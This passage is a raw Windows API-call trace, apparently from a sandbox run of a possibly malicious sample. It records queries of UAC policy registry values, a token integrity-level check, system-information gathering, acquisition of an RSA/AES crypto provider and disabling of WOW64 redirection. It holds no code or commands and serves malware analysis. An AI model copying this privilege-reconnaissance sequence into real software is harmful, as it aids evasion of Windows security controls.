lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d1e8 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c168 [0223.046] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d1f8 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.046] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0223.046] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0223.046] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c5a0) returned 1 [0223.046] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b878) returned 1 [0223.046] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c438) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b888) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c558) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b898) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c510) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b930) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c4c8) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b860) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c480) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b968) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c3f0) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b978) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c3a8) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b988) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c360) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b940) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c318) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b950) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c2d0) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b9d0) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b9e0) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c1f8) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b998) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c1b0) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b9a8) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c168) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d1e8) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d1f8) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c240) returned 1 [0223.047] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c240 [0223.047] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x53fb20, lpData=0x0, lpcbData=0x53fb28*=0x0 | out: lpType=0x53fb20*=0x4, lpData=0x0, lpcbData=0x53fb28*=0x4) returned 0x0 [0223.047] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x53fb20, lpData=0xf6c240, lpcbData=0x53fb28*=0x4 | out: lpType=0x53fb20*=0x4, lpData=0xf6c240*=0x5, lpcbData=0x53fb28*=0x4) returned 0x0 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c240) returned 1 [0223.047] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0223.047] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x10) returned 0xf6d5e8 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d1f8 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0223.048] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d1e8 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c240 [0223.048] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d208 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.048] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d218 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c168 [0223.048] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x20) returned 0xf6b860 [0223.048] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d5e8) returned 1 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d228 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1b0 [0223.048] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d238 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1f8 [0223.048] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d248 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.048] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d258 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c2d0 [0223.048] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x30) returned 0xf6b930 [0223.048] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b860) returned 1 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d268 [0223.048] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c318 [0223.048] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d278 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c360 [0223.049] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d288 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c3a8 [0223.049] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d298 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c3f0 [0223.049] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c480 [0223.049] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b930) returned 1 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2a8 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c4c8 [0223.049] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2b8 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c510 [0223.049] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2c8 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c558 [0223.049] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2d8 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c438 [0223.049] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c5a0 [0223.049] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c5a0) returned 1 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c5a0 [0223.049] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c5a0) returned 1 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c5a0 [0223.049] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c5a0) returned 1 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c5a0 [0223.049] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c5a0) returned 1 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c5a0 [0223.049] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c5a0) returned 1 [0223.049] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c5a0 [0223.050] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c5a0) returned 1 [0223.050] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c5a0 [0223.050] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c5a0) returned 1 [0223.050] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c5a0 [0223.050] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c5a0) returned 1 [0223.050] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c5a0 [0223.050] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0223.050] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d1f8) returned 1 [0223.050] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c240) returned 1 [0223.050] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d1e8) returned 1 [0223.050] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.050] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d208) returned 1 [0223.050] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c168) returned 1 [0223.050] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d218) returned 1 [0223.050] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x53fb20, lpData=0x0, lpcbData=0x53fb28*=0x0 | out: lpType=0x53fb20*=0x4, lpData=0x0, lpcbData=0x53fb28*=0x4) returned 0x0 [0223.050] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x53fb20, lpData=0xf6c480, lpcbData=0x53fb28*=0x4 | out: lpType=0x53fb20*=0x4, lpData=0xf6c480*=0x1, lpcbData=0x53fb28*=0x4) returned 0x0 [0223.050] RegCloseKey (hKey=0x24) returned 0x0 [0223.050] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x53fb98 | out: TokenHandle=0x53fb98*=0x24) returned 1 [0223.050] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x53fb94, TokenInformationLength=0x4, ReturnLength=0x53fb90 | out: TokenInformation=0x53fb94, ReturnLength=0x53fb90) returned 1 [0223.050] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x53fb84 | out: TokenHandle=0x53fb84*=0xa0) returned 1 [0223.050] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x53fb80 | out: TokenInformation=0x0, ReturnLength=0x53fb80) returned 0 [0223.050] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c5a0 [0223.050] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0xf6c5a0, TokenInformationLength=0x14, ReturnLength=0x53fb80 | out: TokenInformation=0xf6c5a0, ReturnLength=0x53fb80) returned 1 [0223.050] GetSidSubAuthorityCount (pSid=0xf6c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xf6c5a9 [0223.050] GetSidSubAuthority (pSid=0xf6c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xf6c5b0 [0223.050] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c5a0) returned 1 [0223.051] NtClose (Handle=0xa0) returned 0x0 [0223.051] GetSystemInfo (in: lpSystemInfo=0x53fccc | out: lpSystemInfo=0x53fccc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0223.051] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x6c) returned 0xf6b860 [0223.051] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c5a0 [0223.051] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0223.051] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c480 [0223.051] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c438 [0223.051] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c558 [0223.051] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c510 [0223.051] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x5000) returned 0xf70048 [0223.052] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c4c8 [0223.052] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c4c8) returned 1 [0223.052] CryptAcquireContextW (in: phProv=0x53fce0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53fce0*=0x99e3a0) returned 1 [0223.114] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf70048) returned 1 [0223.115] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6b8d8 [0223.115] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6b960 [0223.115] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c4c8 [0223.115] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6b9e8 [0223.115] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6ba70 [0223.115] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c3f0 [0223.115] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6baf8 [0223.115] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c3a8 [0223.115] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x5000) returned 0xf70048 [0223.115] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c360 [0223.115] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c360) returned 1 [0223.115] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0223.155] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf70048) returned 1 [0223.155] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x9982b8, lpbSaclPresent=0x53fc94, pSacl=0x53fce8, lpbSaclDefaulted=0x53fc94 | out: lpbSaclPresent=0x53fc94, pSacl=0x53fce8, lpbSaclDefaulted=0x53fc94) returned 1 [0223.155] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c360 [0223.155] CreateEventA (lpEventAttributes=0x53fcdc, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0223.155] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c360) returned 1 [0223.155] GetLastError () returned 0x0 [0223.155] LocalFree (hMem=0x9982b8) returned 0x0 [0223.156] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c360 [0223.156] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x5000) returned 0xf70048 [0223.156] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c318 [0223.156] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c318) returned 1 [0223.156] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0223.156] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf70048) returned 1 [0223.156] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x9982b8, lpbSaclPresent=0x53fc94, pSacl=0x53fce8, lpbSaclDefaulted=0x53fc94 | out: lpbSaclPresent=0x53fc94, pSacl=0x53fce8, lpbSaclDefaulted=0x53fc94) returned 1 [0223.156] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c318 [0223.156] CreateEventA (lpEventAttributes=0x53fcdc, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0223.157] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c318) returned 1 [0223.157] GetLastError () returned 0x0 [0223.157] LocalFree (hMem=0x9982b8) returned 0x0 [0223.157] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c318 [0223.157] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x5000) returned 0xf70048 [0223.157] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c2d0 [0223.157] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c2d0) returned 1 [0223.157] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0223.157] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf70048) returned 1 [0223.157] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x9982b8, lpbSaclPresent=0x53fc94, pSacl=0x53fce8, lpbSaclDefaulted=0x53fc94 | out: lpbSaclPresent=0x53fc94, pSacl=0x53fce8, lpbSaclDefaulted=0x53fc94) returned 1 [0223.157] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c2d0 [0223.157] CreateEventA (lpEventAttributes=0x53fcdc, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0223.157] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c2d0) returned 1 [0223.157] GetLastError () returned 0x0 [0223.158] LocalFree (hMem=0x9982b8) returned 0x0 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x2800) returned 0xf70048 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bb80 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c2d0 [0223.158] Wow64DisableWow64FsRedirection (in: OldValue=0x53fd10 | out: OldValue=0x53fd10*=0x0) returned 1 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x2800) returned 0xf72850 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.158] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x10) returned 0xf6d5e8 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2d8 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1f8 [0223.158] RtlFreeHeap 